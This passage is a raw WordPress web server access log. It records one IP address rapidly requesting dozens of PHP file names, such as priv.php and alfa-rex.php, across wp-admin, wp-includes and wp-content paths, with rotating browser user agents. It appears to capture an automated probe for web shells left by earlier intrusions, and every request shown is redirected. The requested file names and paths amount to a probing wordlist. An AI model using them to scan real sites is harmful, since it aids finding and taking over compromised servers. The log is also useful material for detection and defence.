Chrome/84.0.4147.105 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:35:04 -0400] "GET /wp-content/uploads/2024/11/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.160.244 - - [30/Apr/2025:23:35:05 -0400] "GET /wp-content/uploads/2024/10/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.160.244 - - [30/Apr/2025:23:35:05 -0400] "GET /wp-content/upgrade/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:35:05 -0400] "GET /wp-admin/includes/cicak.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 146.70.160.244 - - [30/Apr/2025:23:35:05 -0400] "GET /wp-admin/includes/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 146.70.160.244 - - [30/Apr/2025:23:35:05 -0400] "GET /wp-admin/maint/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:35:05 -0400] "GET /wp-admin/css/colors/blue/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:35:06 -0400] "GET /wp-admin/css/colors/coffee/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:35:06 -0400] "GET /wp-admin/css/colors/ectoplasm/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:35:06 -0400] "GET /wp-admin/css/colors/light/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.160.244 - - [30/Apr/2025:23:35:06 -0400] "GET /wp-admin/css/colors/midnight/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:35:06 -0400] "GET /wp-admin/css/colors/modern/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:35:06 -0400] "GET /wp-admin/css/colors/ocean/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 146.70.160.244 - - [30/Apr/2025:23:35:07 -0400] "GET /wp-admin/images/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:35:07 -0400] "GET /wp-admin/js/widgets/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 146.70.160.244 - - [30/Apr/2025:23:35:07 -0400] "GET /wp-includes/ID3/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:35:07 -0400] "GET /wp-includes/IXR/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:35:08 -0400] "GET /wp-includes/PHPMailer/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:35:08 -0400] "GET /wp-includes/Text/Diff/Engine/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.160.244 - - [30/Apr/2025:23:35:08 -0400] "GET /wp-includes/pomo/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 146.70.160.244 - - [30/Apr/2025:23:35:08 -0400] "GET /wp-includes/sitemaps/providers/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:35:08 -0400] "GET /wp-includes/widgets/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:35:08 -0400] "GET /wp-includes/fonts/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.160.244 - - [30/Apr/2025:23:35:09 -0400] "GET /wp-includes/images/crystal/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:35:09 -0400] "GET /wp-includes/images/media/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.160.244 - - [30/Apr/2025:23:35:09 -0400] "GET /wp-includes/images/smilies/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:35:09 -0400] "GET /wp-includes/js/codemirror/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:35:09 -0400] "GET /wp-includes/js/plupload/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:35:09 -0400] "GET /files/editprofile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.160.244 - - [30/Apr/2025:23:35:10 -0400] "GET /images/test.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.160.244 - - [30/Apr/2025:23:35:10 -0400] "GET /wp-admin/maint/lol.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:35:10 -0400] "GET /uploads/abstract_login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 146.70.160.244 - - [30/Apr/2025:23:35:10 -0400] "GET /wp-content/uploads/etipat.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.160.244 - - [30/Apr/2025:23:35:10 -0400] "GET /wp-includes/widgets/buy.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 146.70.160.244 - - [30/Apr/2025:23:35:11 -0400] "GET /wp-admin/css/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:35:11 -0400] "GET /wp-admin/css/colors/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 146.70.160.244 - - [30/Apr/2025:23:35:11 -0400] "GET /wp-admin/css/colors/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:35:11 -0400] "GET /wp-admin/css/colors/coffee/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 146.70.160.244 - - [30/Apr/2025:23:35:11 -0400] "GET /wp-admin/includes/archiveo.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:35:11 -0400] "GET /wp-admin/includes/functionsf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:35:12 -0400] "GET /wp-admin/includes/sidebarh.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:35:12 -0400] "GET /wp-admin/maint/sidebarh.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.160.244 - - [30/Apr/2025:23:35:12 -0400] "GET /wp-admin/maint/singlee.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:35:12 -0400] "GET /wp-admin/css/pageb.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.160.244 - - [30/Apr/2025:23:35:12 -0400] "GET /wp-admin/css/colors/blue/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:35:12 -0400] "GET /wp-admin/css/colors/ectoplasm/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:35:13 -0400] "GET /wp-admin/css/colors/ectoplasm/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.160.244 - - [30/Apr/2025:23:35:13 -0400] "GET /wp-admin/css/colors/light/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.160.244 - - [30/Apr/2025:23:35:13 -0400] "GET /wp-admin/css/colors/midnight/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.160.244 - - [30/Apr/2025:23:35:13 -0400] "GET /wp-admin/css/colors/modern/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:35:13 -0400] "GET /wp-admin/css/colors/ocean/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:35:13 -0400] "GET /wp-admin/images/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:35:14 -0400] "GET /wp-admin/js/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.160.244 - - [30/Apr/2025:23:35:14 -0400] "GET /wp-admin/js/widgets/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:35:14 -0400] "GET /wp-includes/ID3/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.160.244 - - [30/Apr/2025:23:35:14 -0400] "GET /wp-includes/Text/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.160.244 - - [30/Apr/2025:23:35:14 -0400] "GET /wp-includes/Text/Diff/Engine/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:35:14 -0400] "GET /wp-includes/Text/Diff/Engine/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:35:15 -0400] "GET /wp-includes/pomo/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:35:15 -0400] "GET /wp-includes/widgets/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:35:15 -0400] "GET /wp-includes/css/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:35:15 -0400] "GET /wp-includes/images/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 146.70.160.244 - - [30/Apr/2025:23:35:15 -0400] "GET /wp-includes/images/crystal/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:35:15 -0400] "GET /wp-includes/images/media/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:35:16 -0400] "GET /wp-includes/js/codemirror/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.160.244 - - [30/Apr/2025:23:35:16 -0400] "GET /wp-includes/js/codemirror/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 146.70.160.244 - - [30/Apr/2025:23:35:16 -0400] "GET /wp-admin/css/archivep.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:35:16 -0400] "GET /wp-admin/css/sidebars.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:35:16 -0400] "GET /wp-includes/css/xBrain.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:35:16 -0400] "GET /wp-admin/maint/wp-act.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.160.244 - - [30/Apr/2025:23:35:17 -0400] "GET /wp-content/uploads/2024/09/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 146.70.160.244 - - [30/Apr/2025:23:35:17 -0400] "GET /wp-includes/Text/Diff/Renderer/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 146.70.160.244 - - [30/Apr/2025:23:35:17 -0400] "GET /wp-admin/js/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:35:17 -0400] "GET /wp-includes/css/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:35:17 -0400] "GET /wp-includes/images/wlw/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:35:17 -0400] "GET /wp-includes/rest-api-stack.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:35:18 -0400] "GET /wp-includes/Text/Diff/Engine/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:35:18 -0400] "GET /wp-admin/css/colors/ectoplasm/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:35:18 -0400] "GET /wp-admin/css/colors/midnight/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.160.244 - - [30/Apr/2025:23:35:18 -0400] "GET /wp-includes/PHPMailer/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.160.244 - - [30/Apr/2025:23:35:18 -0400] "GET /wp-includes/Text/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:35:19 -0400] "GET /wp-includes/sitemaps/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:35:19 -0400] "GET /wp-includes/sitemaps/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.160.244 - - [30/Apr/2025:23:35:19 -0400] "GET /wp-includes/widgets/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:35:19 -0400] "GET /wp-includes/images/smilies/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:35:19 -0400] "GET /wp-includes/images/smilies/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.160.244 - - [30/Apr/2025:23:35:19 -0400] "GET /wp-content/upgrade/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 146.70.160.244 - - [30/Apr/2025:23:35:20 -0400] "GET /wp-content/upgrade/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:35:20 -0400] "GET /wp-admin/css/colors/coffee/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.160.244 - - [30/Apr/2025:23:35:20 -0400] "GET /wp-includes/Text/Diff/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:35:20 -0400] "GET /wp-includes/Text/Diff/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:35:20 -0400] "GET /wp-includes/Text/Diff/Renderer/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.160.244 - - [30/Apr/2025:23:35:20 -0400] "GET /wp-includes/Text/Diff/Renderer/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:35:21 -0400] "GET /wp-includes/images/wlw/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 146.70.160.244 - - [30/Apr/2025:23:35:21 -0400] "GET /wp-includes/images/wlw/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:35:21 -0400] "GET /wp-includes/Text/Diff/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 146.70.160.244 - - [30/Apr/2025:23:35:21 -0400] "GET /images/upload.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 146.70.160.244 - - [30/Apr/2025:23:35:21 -0400] "GET /wp-admin/includes/rk4.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:35:21 -0400] "GET /wp-admin/includes/connects.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:35:22 -0400] "GET /wp-admin/includes/eorr.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:35:22 -0400] "GET /wp-admin/includes/html.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 146.70.160.244 - - [30/Apr/2025:23:35:22 -0400] "GET /wp-admin/includes/link.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:35:22 -0400] "GET /wp-admin/includes/senbox.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 146.70.160.244 - - [30/Apr/2025:23:35:22 -0400] "GET /wp-admin/includes/varc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:35:23 -0400] "GET /wp-admin/css/colors/fex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 146.70.160.244 - - [30/Apr/2025:23:35:23 -0400] "GET /wp-admin/images/rk2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.160.244 - - [30/Apr/2025:23:35:23 -0400] "GET /wp-admin/images/slsotot.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.160.244 - - [30/Apr/2025:23:35:23 -0400] "GET /simple/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:35:23 -0400] "GET /wp-content/fonts/nunito/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.160.244 - - [30/Apr/2025:23:35:23 -0400] "GET /wp-includes/sodium_compat/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 